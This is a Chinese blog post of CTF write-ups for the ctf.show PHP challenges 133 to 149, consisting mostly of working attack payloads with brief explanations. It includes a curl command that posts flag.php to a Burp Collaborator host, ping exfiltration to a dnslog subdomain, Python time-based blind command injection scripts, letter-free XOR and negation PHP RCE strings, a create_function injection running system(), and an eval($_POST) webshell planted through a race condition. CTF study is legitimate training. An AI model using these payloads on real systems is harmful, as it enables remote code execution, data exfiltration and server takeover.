Loading

ctf_show-php特性-133-149

133

 

 

这里限制了F只能取前6个字符,但这里可以用变量本身作为参数

这里给出羽师傅的解释

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  `   `$F `;sleep 3  ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了
————————————————
原文链接:https://blog.csdn.net/miuzzx/article/details/109197158

然后用burp的公网地址外带即可(注意system会自己输出,shell_exec也就是``会返回字符串,因此无输出)

http://006c6a9a-d926-48a7-8654-38c1269551ea.challenge.ctf.show/?F=`$F`;  curl -X POST -F xx=@flag.php z55c4qucwi77mo3jgruxqlil0c63us.burpcollaborator.net

 

 

 

 

 

134

 

 

 注意到

@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);

这里是get传入 _POST[key1]=36d&_POST[key2]=36d,会解析为post参数,最后对post参数再提取变量

 

 

135

 过滤了curl,这里可以用ping带出,或者写入到一个文件再看即可

?F=`$F` ;nl flag.php>4.txt;

?F=`$F` ;uniq flag.php>4.txt;

ping:?F=`$F` ;ping `awk '/flag/' flag.php`.oywkie.dnslog.cn (直接带貌似只会带第一行)

 

 

136

 

 

 注意这里是没回显的,curl,ping都过滤了,这里用tee命令(tee命令用于读取标准输入的数据,并将其内容输出成文件)

?c=ls /|tee 2
?c=cat /f149_15_h3r3|tee 3

注意没后缀,因为小数点过滤了,因此访问会下载文件,用记事本打开即可

 

 

137

 

 

考察这个call_user_func()的使用:

 

payload ctfshow=ctfshow::getFlag

 

 

138

 

 

 见上题截图,另外一种调用方法

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

 

 

139

 

按照上一次脚本发现无法写入,可以通过脚本盲注

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='9':
                key=1
    result+=" "

 

 

 

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

本质就是时间盲注,一位一位爆破

 

 

140

注意到弱等于

 

 

 让intval($code)=0就行,方法有很多

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())

payload:f1=md5&f2=phpinfo

 

 

141

 

这里首先是php中数字运算和命令能一起执行,比如1-phpinfo() 会执行phpinfo

还发现过滤了字母数字,就是符号rce了

v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1

 

 

142

 

数学题,传入0即可

 

 

 

143

 

过滤了取反,加减号也没了,可以用乘除

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

 

 

 

144

 

意义不明的一题,从v3换成v2即可,v3限制一个长度,那就加减号

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%93%8C);&v3=-?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5);&v3=-

 

 

 

145

 

过滤了加减乘除,但是放出了取反,

可以用 v1|v3|v2,或者v1?v3:v2

|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
或者
?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):

 

 

 

146

 

 

 同上

 

 

web147

 

对于第一个参数为空,函数名和第二个参数可用的情况,一般都是利用 create_function() 函数

第二个参数传入return(1);}任意代码;/* 即可

但是这里直接传没用,看wp

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

post:ctf=\create_function  get: ?show=return(1);}system('cat flag.php');/*

 

 

web 148

还是无数字字母RCE,执行函数即可

("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");

预期解

$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

 

 

 

web 149

 

 经典条件竞争

非预期解:

GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>

 

 

 

 

web150

 

posted @ 2021-10-21 22:06  Aninock  阅读(223)  评论(0编辑  收藏  举报